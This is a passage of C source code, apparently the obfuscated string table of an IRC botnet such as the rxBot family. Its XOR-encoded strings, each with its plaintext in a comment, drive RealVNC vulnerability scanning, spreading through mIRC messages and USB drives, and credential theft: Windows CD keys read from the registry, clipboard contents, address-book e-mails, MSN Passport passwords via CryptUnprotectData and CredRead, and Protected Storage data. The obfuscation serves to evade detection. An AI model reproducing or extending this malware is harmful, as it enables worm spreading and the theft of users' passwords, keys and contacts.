		"\xBA\xE7";
#endif
#ifndef NO_EXPSCANREALVNC
const char *string_expscanrealvncfound = //%s%s%s%s vulnerable RealVNC server found %sat:%s %s:%i.
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xBF\xBC\xA5\xA7\xAC\xBB\xA8\xAB\xA5\xAC\xE9\x9B\xAC"
		"\xA8\xA5\x9F\x87\x8A\xE9\xBA\xAC\xBB\xBF\xAC\xBB\xE9\xAF\xA6\xBC\xA7\xAD\xE9\xEC\xBA\xA8"
		"\xBD\xF3\xEC\xBA\xE9\xEC\xBA\xF3\xEC\xA0\xE7";
#endif
#endif
#ifndef NO_MIRCSCAN
const char *string_mircscanalreadyrunning = //%s%s%s%s mircscan already running!
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xA4\xA0\xBB\xAA\xBA\xAA\xA8\xA7\xE9\xA8\xA5\xBB\xAC"
		"\xA8\xAD\xB0\xE9\xBB\xBC\xA7\xA7\xA0\xA7\xAE\xE8";
const char *string_mircscanstarted = //%s%s%s%s mircscan started with %smessage:%s %s, %sdelay:%s %isec, %stime:%s %dmin.
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xA4\xA0\xBB\xAA\xBA\xAA\xA8\xA7\xE9\xBA\xBD\xA8\xBB"
		"\xBD\xAC\xAD\xE9\xBE\xA0\xBD\xA1\xE9\xEC\xBA\xA4\xAC\xBA\xBA\xA8\xAE\xAC\xF3\xEC\xBA\xE9"
		"\xEC\xBA\xE5\xE9\xEC\xBA\xAD\xAC\xA5\xA8\xB0\xF3\xEC\xBA\xE9\xEC\xA0\xBA\xAC\xAA\xE5\xE9"
		"\xEC\xBA\xBD\xA0\xA4\xAC\xF3\xEC\xBA\xE9\xEC\xAD\xA4\xA0\xA7\xE7";
const char *string_mircscanamsg = ////amsg %s http://%s:%i/%s
		"\xE6\xE6\xA8\xA4\xBA\xAE\xE9\xEC\xBA\xE9\xA1\xBD\xBD\xB9\xF3\xE6\xE6\xEC\xBA\xF3\xEC\xA0"
		"\xE6\xEC\xBA";
const char *string_mircscanmirc = //mIRC
		"\xA4\x80\x9B\x8A";
const char *string_mircscanfinished = //%s%s%s%s finished mircscan %safter:%s %dmin, %smessage:%s %s, %sdelay:%s %isec.
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xAF\xA0\xA7\xA0\xBA\xA1\xAC\xAD\xE9\xA4\xA0\xBB\xAA"
		"\xBA\xAA\xA8\xA7\xE9\xEC\xBA\xA8\xAF\xBD\xAC\xBB\xF3\xEC\xBA\xE9\xEC\xAD\xA4\xA0\xA7\xE5"
		"\xE9\xEC\xBA\xA4\xAC\xBA\xBA\xA8\xAE\xAC\xF3\xEC\xBA\xE9\xEC\xBA\xE5\xE9\xEC\xBA\xAD\xAC"
		"\xA5\xA8\xB0\xF3\xEC\xBA\xE9\xEC\xA0\xBA\xAC\xAA\xE7";
const char *string_mircscanstopped = //%s%s%s%s mircscan stopped.
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xA4\xA0\xBB\xAA\xBA\xAA\xA8\xA7\xE9\xBA\xBD\xA6\xB9"
		"\xB9\xAC\xAD\xE7";
const char *string_mircscannotrunning = //%s%s%s%s mircscan not running!
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xA4\xA0\xBB\xAA\xBA\xAA\xA8\xA7\xE9\xA7\xA6\xBD\xE9"
		"\xBB\xBC\xA7\xA7\xA0\xA7\xAE\xE8";
#endif
#ifndef NO_USBSCAN
const char *string_usbscanalreadyrunning = //%s%s%s%s usbscan already running!
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xBC\xBA\xAB\xBA\xAA\xA8\xA7\xE9\xA8\xA5\xBB\xAC\xA8"
		"\xAD\xB0\xE9\xBB\xBC\xA7\xA7\xA0\xA7\xAE\xE8";
const char *string_usbscanstarted = //%s%s%s%s usbscan started with %sfilename:%s %s, %sdelay:%s %isec, %stime:%s %dmin.
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xBC\xBA\xAB\xBA\xAA\xA8\xA7\xE9\xBA\xBD\xA8\xBB\xBD"
		"\xAC\xAD\xE9\xBE\xA0\xBD\xA1\xE9\xEC\xBA\xAF\xA0\xA5\xAC\xA7\xA8\xA4\xAC\xF3\xEC\xBA\xE9"
		"\xEC\xBA\xE5\xE9\xEC\xBA\xAD\xAC\xA5\xA8\xB0\xF3\xEC\xBA\xE9\xEC\xA0\xBA\xAC\xAA\xE5\xE9"
		"\xEC\xBA\xBD\xA0\xA4\xAC\xF3\xEC\xBA\xE9\xEC\xAD\xA4\xA0\xA7\xE7";
const char *string_usbscanfloppy = //A:\/
		"\x88\xF3\x95";
const char *string_usbscancopyfailed = //%s%s%s%s file copy failed %sto:%s %s (%s%s%s)!
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xAF\xA0\xA5\xAC\xE9\xAA\xA6\xB9\xB0\xE9\xAF\xA8\xA0"
		"\xA5\xAC\xAD\xE9\xEC\xBA\xBD\xA6\xF3\xEC\xBA\xE9\xEC\xBA\xE9\xE1\xEC\xBA\xEC\xBA\xEC\xBA"
		"\xE0\xE8";
const char *string_usbscancopysuccessful = //%s%s%s%s file copy successful %sto:%s %s (%s%s%s).
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xAF\xA0\xA5\xAC\xE9\xAA\xA6\xB9\xB0\xE9\xBA\xBC\xAA"
		"\xAA\xAC\xBA\xBA\xAF\xBC\xA5\xE9\xEC\xBA\xBD\xA6\xF3\xEC\xBA\xE9\xEC\xBA\xE9\xE1\xEC\xBA"
		"\xEC\xBA\xEC\xBA\xE0\xE7";
const char *string_usbscanfinished = //%s%s%s%s finished usbscan %safter:%s %dmin, %sfilename:%s %s, %sdelay:%s %isec.
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xAF\xA0\xA7\xA0\xBA\xA1\xAC\xAD\xE9\xBC\xBA\xAB\xBA"
		"\xAA\xA8\xA7\xE9\xEC\xBA\xA8\xAF\xBD\xAC\xBB\xF3\xEC\xBA\xE9\xEC\xAD\xA4\xA0\xA7\xE5\xE9"
		"\xEC\xBA\xAF\xA0\xA5\xAC\xA7\xA8\xA4\xAC\xF3\xEC\xBA\xE9\xEC\xBA\xE5\xE9\xEC\xBA\xAD\xAC"
		"\xA5\xA8\xB0\xF3\xEC\xBA\xE9\xEC\xA0\xBA\xAC\xAA\xE7";
const char *string_usbscanstopped = //%s%s%s%s usbscan stopped.
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xBC\xBA\xAB\xBA\xAA\xA8\xA7\xE9\xBA\xBD\xA6\xB9\xB9"
		"\xAC\xAD\xE7";
const char *string_usbscannotrunning = //%s%s%s%s usbscan not running!
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xBC\xBA\xAB\xBA\xAA\xA8\xA7\xE9\xA7\xA6\xBD\xE9\xBB"
		"\xBC\xA7\xA7\xA0\xA7\xAE\xE8";
#endif
const char *string_scanstats = //%s%s%s%s total %stransfers:%s %i (raw/ftpd/httpd/usb/wormride).
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xBD\xA6\xBD\xA8\xA5\xE9\xEC\xBA\xBD\xBB\xA8\xA7\xBA"
		"\xAF\xAC\xBB\xBA\xF3\xEC\xBA\xE9\xEC\xA0\xE9\xE1\xBB\xA8\xBE\xE6\xAF\xBD\xB9\xAD\xE6\xA1"
		"\xBD\xBD\xB9\xAD\xE6\xBC\xBA\xAB\xE6\xBE\xA6\xBB\xA4\xBB\xA0\xAD\xAC\xE0\xE7";

#ifndef NO_SNAGCDKEYS
const char *string_snagcdkeysgettingcdkeys = //%s%s%s%s getting cd-keys...
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xAE\xAC\xBD\xBD\xA0\xA7\xAE\xE9\xAA\xAD\xE4\xA2\xAC"
		"\xB0\xBA\xE7\xE7\xE7";
const char *string_snagcdkeyscdkey = //%s%s%s%s %sname:%s %s, %scd-key:%s %s.
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xEC\xBA\xA7\xA8\xA4\xAC\xF3\xEC\xBA\xE9\xEC\xBA\xE5"
		"\xE9\xEC\xBA\xAA\xAD\xE4\xA2\xAC\xB0\xF3\xEC\xBA\xE9\xEC\xBA\xE7";
const char *string_snagcdkeyswincdkeydigits = //BCDFGHJKMPQRTVWXY2346789
		"\x8B\x8A\x8D\x8F\x8E\x81\x83\x82\x84\x99\x98\x9B\x9D\x9F\x9E\x91\x90\xFB\xFA\xFD\xFF\xFE"
		"\xF1\xF0";
const char *string_snagcdkeyswincdkeyregistrypath = //SOFTWARE\Microsoft\Windows NT\CurrentVersion
		"\x9A\x86\x8F\x9D\x9E\x88\x9B\x8C\x95\x84\xA0\xAA\xBB\xA6\xBA\xA6\xAF\xBD\x95\x9E\xA0\xA7"
		"\xAD\xA6\xBE\xBA\xE9\x87\x9D\x95\x8A\xBC\xBB\xBB\xAC\xA7\xBD\x9F\xAC\xBB\xBA\xA0\xA6\xA7";
const char *string_snagcdkeyswincdkeyregistryvalue = //DigitalProductId
		"\x8D\xA0\xAE\xA0\xBD\xA8\xA5\x99\xBB\xA6\xAD\xBC\xAA\xBD\x80\xAD";
const char *string_snagcdkeyswincdkeycdkey = //Windows %s
		"\x9E\xA0\xA7\xAD\xA6\xBE\xBA\xE9\xEC\xBA";
#endif
#ifndef NO_SNAGCLIPBOARD
const char *string_snagclipboardgettingclipboarddata = //%s%s%s%s getting clipboard data...
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xAE\xAC\xBD\xBD\xA0\xA7\xAE\xE9\xAA\xA5\xA0\xB9\xAB"
		"\xA6\xA8\xBB\xAD\xE9\xAD\xA8\xBD\xA8\xE7\xE7\xE7";
const char *string_snagclipboarddata = //%s%s%s%s clipboard %sdata:%s %s.
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xAA\xA5\xA0\xB9\xAB\xA6\xA8\xBB\xAD\xE9\xEC\xBA\xAD"
		"\xA8\xBD\xA8\xF3\xEC\xBA\xE9\xEC\xBA\xE7";
#endif
#ifndef NO_SNAGEMAILS
const char *string_snagemailswabregistrykey = //Software\Microsoft\WAB\WAB4\Wab File Name
		"\x9A\xA6\xAF\xBD\xBE\xA8\xBB\xAC\x95\x84\xA0\xAA\xBB\xA6\xBA\xA6\xAF\xBD\x95\x9E\x88\x8B"
		"\x95\x9E\x88\x8B\xFD\x95\x9E\xA8\xAB\xE9\x8F\xA0\xA5\xAC\xE9\x87\xA8\xA4\xAC";
const char *string_snagemailsgettingemails = //%s%s%s%s getting e-mails...
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xAE\xAC\xBD\xBD\xA0\xA7\xAE\xE9\xAC\xE4\xA4\xA8\xA0"
		"\xA5\xBA\xE7\xE7\xE7";
const char *string_snagemailsfailedtopenwabfile = //%s%s%s%s failed to open WAB file!
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xAF\xA8\xA0\xA5\xAC\xAD\xE9\xBD\xA6\xE9\xA6\xB9\xAC"
		"\xA7\xE9\x9E\x88\x8B\xE9\xAF\xA0\xA5\xAC\xE8";
const char *string_snagemailsemail = //%s%s%s%s found %se-mail:%s %s.
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xAF\xA6\xBC\xA7\xAD\xE9\xEC\xBA\xAC\xE4\xA4\xA8\xA0"
		"\xA5\xF3\xEC\xBA\xE9\xEC\xBA\xE7";
#endif
#ifndef NO_SNAGMSN
const char *string_snagmsnseed = //82BD0E67-9FEA-4748-8672-D5EFE5B779B0
		"\xF1\xFB\x8B\x8D\xF9\x8C\xFF\xFE\xE4\xF0\x8F\x8C\x88\xE4\xFD\xFE\xFD\xF1\xE4\xF1\xFF\xFE"
		"\xFB\xE4\x8D\xFC\x8C\x8F\x8C\xFC\x8B\xFE\xFE\xF0\x8B\xF9";
const char *string_snagmsncryptdatalibrary = //crypt32.dll
		"\xAA\xBB\xB0\xB9\xBD\xFA\xFB\xE7\xAD\xA5\xA5";
const char *string_snagmsncredentiallibrary = //advapi32.dll
		"\xA8\xAD\xBF\xA8\xB9\xA0\xFA\xFB\xE7\xAD\xA5\xA5";
const char *string_snagmsncryptunprotecteddatafunction = //CryptUnprotectData
		"\x8A\xBB\xB0\xB9\xBD\x9C\xA7\xB9\xBB\xA6\xBD\xAC\xAA\xBD\x8D\xA8\xBD\xA8";
const char *string_snagmsncredenumeratefunction = //CredEnumerateA
		"\x8A\xBB\xAC\xAD\x8C\xA7\xBC\xA4\xAC\xBB\xA8\xBD\xAC\x88";
const char *string_snagmsncredreadfunction = //CredReadA
		"\x8A\xBB\xAC\xAD\x9B\xAC\xA8\xAD\x88";
const char *string_snagmsncredfreefunction = //CredFree
		"\x8A\xBB\xAC\xAD\x8F\xBB\xAC\xAC";
const char *string_snagmsnpassportnet = //Passport.Net\\*
		"\x99\xA8\xBA\xBA\xB9\xA6\xBB\xBD\xE7\x87\xAC\xBD\x95\x95\xE3";
const char *string_snagmsngettingcredentials = //%s%s%s%s getting user msn credentials...
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xAE\xAC\xBD\xBD\xA0\xA7\xAE\xE9\xBC\xBA\xAC\xBB\xE9"
		"\xA4\xBA\xA7\xE9\xAA\xBB\xAC\xAD\xAC\xA7\xBD\xA0\xA8\xA5\xBA\xE7\xE7\xE7";
const char *string_snagmsncredentialfailed = //%s%s%s%s getting msn credentials failed!
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xAE\xAC\xBD\xBD\xA0\xA7\xAE\xE9\xA4\xBA\xA7\xE9\xAA"
		"\xBB\xAC\xAD\xAC\xA7\xBD\xA0\xA8\xA5\xBA\xE9\xAF\xA8\xA0\xA5\xAC\xAD\xE8";
const char *string_snagmsncredentialinfo = //%s%s%s%s %suser:%s %s, %spassword:%s %s.
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xEC\xBA\xBC\xBA\xAC\xBB\xF3\xEC\xBA\xE9\xEC\xBA\xE5"
		"\xE9\xEC\xBA\xB9\xA8\xBA\xBA\xBE\xA6\xBB\xAD\xF3\xEC\xBA\xE9\xEC\xBA\xE7";
#endif
#ifndef NO_SNAGSTORAGE
const char *string_snagstoragepstorelibrary = //pstorec.dll
		"\xB9\xBA\xBD\xA6\xBB\xAC\xAA\xE7\xAD\xA5\xA5";
const char *string_snagstoragepstorefunction = //PStoreCreateInstance
		"\x99\x9A\xBD\xA6\xBB\xAC\x8A\xBB\xAC\xA8\xBD\xAC\x80\xA7\xBA\xBD\xA8\xA7\xAA\xAC";
const char *string_snagstoragegettingpasswordstoragedata = //%s%s%s%s getting pasword storage data...
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xAE\xAC\xBD\xBD\xA0\xA7\xAE\xE9\xB9\xA8\xBA\xBE\xA6"
		"\xBB\xAD\xE9\xBA\xBD\xA6\xBB\xA8\xAE\xAC\xE9\xAD\xA8\xBD\xA8\xE7\xE7\xE7";
const char *string_snagstoragefailedtoloadpstoreclibrary = //%s%s%s%s failed to load pstorec.dll!
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xAF\xA8\xA0\xA5\xAC\xAD\xE9\xBD\xA6\xE9\xA5\xA6\xA8"
		"\xAD\xE9\xB9\xBA\xBD\xA6\xBB\xAC\xAA\xE7\xAD\xA5\xA5\xE8";
const char *string_snagstoragemainguid = //%s%s%s%s %sguid:%s %x / 
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xEC\xBA\xAE\xBC\xA0\xAD\xF3\xEC\xBA\xE9\xEC\xB1\xE9"
		"\xE6\xE9";
const char *string_snagstoragesubguid = //%x, 
		"\xEC\xB1\xE5\xE9";
const char *string_snagstorageitem = //%sname:%s %ws, 
		"\xEC\xBA\xA7\xA8\xA4\xAC\xF3\xEC\xBA\xE9\xEC\xBE\xBA\xE5\xE9";
const char *string_snagstoragedata = //%sdata:%s %s.
		"\xEC\xBA\xAD\xA8\xBD\xA8\xF3\xEC\xBA\xE9\xEC\xBA\xE7";
#endif
const char *string_snagendofsnag = //%s%s%s%s end of snag.
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xAC\xA7\xAD\xE9\xA6\xAF\xE9\xBA\xA7\xA8\xAE\xE7";